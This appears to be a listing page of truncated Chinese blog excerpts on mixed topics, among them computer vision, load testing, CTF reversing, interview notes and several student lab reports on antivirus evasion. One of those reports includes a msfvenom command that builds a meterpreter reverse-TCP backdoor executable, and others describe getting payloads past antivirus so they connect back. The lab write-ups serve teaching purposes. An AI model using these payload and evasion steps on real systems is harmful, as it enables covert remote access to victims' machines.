reverse-for-the-holy-.... 名字太长不打了 收集信息 给的文件是64位elf文件，无壳 静态分析 打开后代码密密麻麻一堆，看起来是c++写的 大致分析逻辑，name和quest都没啥用，password存入userin中，看起来是个全局变量 要求这两个函数的返回值 >= 0，其他的咱就不管了。 在linux下gdb动态
人流量统计是基于AI人工智能算法，可以实时统计视频图像中的人体个数和流动趋势，与视频监控技术结合，能实现当前监控区域的人流量统计，实时了解行人流量动态，还能达到人群密度监测、避免人群聚集的目的，在安防等场景中具有重要作用。TSINGSEE青犀视频也一直在积极研发AI智能检测技术与视
漏洞扫描 基于漏洞数据库，通过扫描等手段对指定的远程或本地计算机系统的安全脆弱性进行检测，发现可利用漏洞的一种安全检测行为 web漏洞扫描器 通过web漏洞扫描器进行信息搜集 Burp suite简介 集成化渗透测试工具，包含了许多工具，并为这些工具设计了许多接口。
目标检测之faster rcnn系列 paper blogs1: 一文读懂Faster RCNN Faster RCNN理论合集 code: mmdetection Faster rcnn总结: 网络结构图1 paper的图
安全生产是企业生产中十分重要的一部分，只有保障了员工的安全，才能保证企业的利益。在实际场景中，很多的作业人员普遍存在安全意识不强的问题，经常不佩戴安全帽、不穿戴防护装备就进入生产区域或进入生产区域后随意摘下安全帽，大大增加了作业风险。 根据国家对安全生产的政策规定，为防止
YOLO-Pose: Enhancing YOLO for Multi Person Pose Estimation Using Object Keypoint Similarity Loss [2204.06806] 论文题目：YOLO-Pose: Enhancing YOLO for Multi Person Pose Estimation Using Object Keypoint Similarity Loss 论文地址：http://arxiv.org/abs/2204.06806
目录目标检测数据集分析图片数量、标注框数量、类别信息所有图片宽度和高度的散点图所有标注框宽度和高度的散点图标注框宽度和高度之比每一类的标注框数量每一类图片数量每一张图片上的标注框数量不同尺寸的图片数量每一类标注框的宽度高度散点图使用方法InstallUsageExample 目
环境列表如下：Win10系统，tensorflow版本为1.13，python版本3.6，模型框架SSD。 1，模型训练 首先对于目标检测模型进行训练，生成ckpt文件，相关训练过程可以参考如下博客： https://www.cnblogs.com/kxqblog/p/16129549.html 2，修改BUG 在 ssd-tensorflow文件夹下的tf_extended/metrics.py文件中
摘要：本文详细介绍如何利用深度学习中的YOLO及SORT算法实现车辆、行人等多目标的实时检测和跟踪，并利用PyQt5设计了清新简约的系统UI界面，在界面中既可选择自己的视频、图片文件进行检测跟踪，也可以通过电脑自带的摄像头进行实时处理，可选择训练好的YOLO v3/v4等模型参数。该系统界
1.实践内容 本次实践从网络安全模型出发（后面的技术紧紧围绕模型展开），主要介绍了防火墙技术（防御技术）和网络入侵检测技术（检测技术）。分为以下几个部分开展原理内容的梳理。 ·安全模型 ·网络安全防范技术与系统 ·网络检测技术与系统 安全模型 静态安全模型：对网络进行风险分析，制定相
EasyCVR视频融合云服务具备优秀的视频能力，可支持视频监控直播、云端录像、检索与回放、存储、平台级联、智能告警等功能，在场景应用上，可打造智慧工地、智慧园区、智慧农场、智慧码头等智能化监管平台。随着安防市场的不断升级，高清化、集成化、网格化也成为视频监控领域的发展方向，Ea
系列文章 手把手教你：图像识别的垃圾分类系统 手把手教你：人脸识别考勤系统 手把手教你：基于粒子群优化算法（PSO）优化卷积神经网络（CNN）的文本分类 @目录系列文章一、项目简介二、项目检测结果三、环境安装1.环境要求2.环境安装示例四、重要代码介绍1.图像分类1.1 加载图像数据，预处理，图
1安装 yum -y install httpd-tools 2使用方式 ab --help 检测是否安装成功 ab -n 20 -C 23 https://catch.bashangou.xyz/ 执行检测命令其中-n代表每次并发量，-c代表总共发送的数量 https://xxxx.xxx.com 此为服务器下测试的页面地址
作者：韩信子@ShowMeAI 教程地址：http://www.showmeai.tech/tutorials/35 本文地址：http://www.showmeai.tech/article-detail/223 声明：版权所有，转载请联系平台与作者并注明出处 收藏ShowMeAI查看更多精彩内容 本系列为吴恩达老师《深度学习专业课程》学习与总结整理所得，对应的课
案例需求 通过脚本判断远程计算机的存活状态 脚本应用场景 1、通过监控平台调用监控脚本对服务器进行监控 2、机器扫描 解决问题 1、运维人员实时掌控机器的状态，防止宕机或者由于压力过大造成请求处理延时,保障业务的稳定、高效运行 脚本思路 1、通过ICMP协议的ping命令ping
摘要：这不止是对抗新冠病毒的战役，更是一场防疫信息战役。 本文分享自华为云社区《上海理工大学：巧用数字技术打响智慧抗疫信息战》，作者： Qudaizi 。 自从上海进入准封闭管理，上海理工大学党（校）办、信息办抽调业务骨干迅速组成智慧校园推进办“抗疫先锋队”（以下简称“抗疫先锋队”），疫情迅
一、实验内容 1.正确使用msf编码器，veil-evasion，自己利用shellcode编程等免杀工具或技巧 正确使用msf编码器，使用msfvenom生成如jar之类的其他文件 veil，加壳工具 使用C + shellcode编程 2.通过组合应用各种技术实现恶意代码免杀 如果成功实现了免杀的，简单语言描述原理，不要截图。与
一、实验内容 (1)正确使用免杀工具或技巧 正确使用msf编码器，加壳工具和shellcode编程 (2)组合应用技术实现恶意代码免杀 (3)实测在杀软开启的情况下，可运行并成功回连 二、实验要求 掌握免杀原理与技术 回答问题 （1）杀软是如何检测出恶意代码的？ 静态检测技术 n-gram字节代码作
一面 （45min） 自我介绍 ACM取得最好的成绩 简单讲一下你的STL项目 C++形成exe的过程 把可执行文件运行起来的过程 这个我不知道诶...我觉得是类似操作系统进程之类的概念 C++ static关键字的作用 把全局变量定义在头文件中会有什么问题 面试官给了点提示，#include的作
马上要入职了，公司要求入职体检，然后我休养了三天到医院去体检。 体检的医院选择了成都市XX区XX医院（这里我就不说具体是哪家医院了），一大早还没睡醒就去医院体检了，抽了血化验了血常规、肝功、艾滋梅毒。然后等着量血压，结果量了两次都不正常，可能是刚睡醒然后加上天气冷的缘故，找了个犄角
网络服务器的超时检测： Sigaction();//设置函数、获取函数 多个alarm()函数共同调用时，后面设置的时钟会覆盖掉前面的时钟 ~SA_RESTART；通道不重启
Exp3-免杀原理 基础问题回答 （1）杀软是如何检测出恶意代码的？ 杀软工程师将一些恶意软件提取特征码发布到病毒库中，用户更新病毒库就相当于更新了特征码库。 杀毒软件在杀毒过程中把当前检测样本文件特征码与病毒库中病毒特征码进行比对，特征码相同则报毒并且查杀，否则进行更多的处理。
20191218 Exp3-免杀原理 实验过程 一、正确使用msf编码器、msfvenom生成如jar之类的其他文件 免杀检测 参考实验二Exp2-后门原理与实践中的第三个小实验，在Kali上用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.141 LPORT=1218 -f exe > 20191218_backdoor.exe
无向环 一个含有环的无向图如下所示，其中有两个环，分别是 0-2-1-0 和 2-3-4-2： 要检测无向图中的环，可以使用深度优先搜索。假设从顶点 0 出发，再走到相邻的顶点 2，接着走到顶点 2 相邻的顶点 1，由于顶点 0 和顶点 1 相邻，并且顶点 0 被标记过了，说明我们饶了一圈，所以无向图中存在环。虽然
1.开端 总觉得，疫情离自己很遥远。 每天看着屏幕上跳动的数字并无感觉。 直到 \(3\) 月 \(2\) 日，吉林市发现了本轮疫情的4名首发病例，那时候似乎也觉得没什么，毕竟数字不大，离自己也不算近。 3月5日，长春市卫生健康委员会发布关于新冠肺炎疫情情况通报，表示3月4日0-24时，长春市新增报告
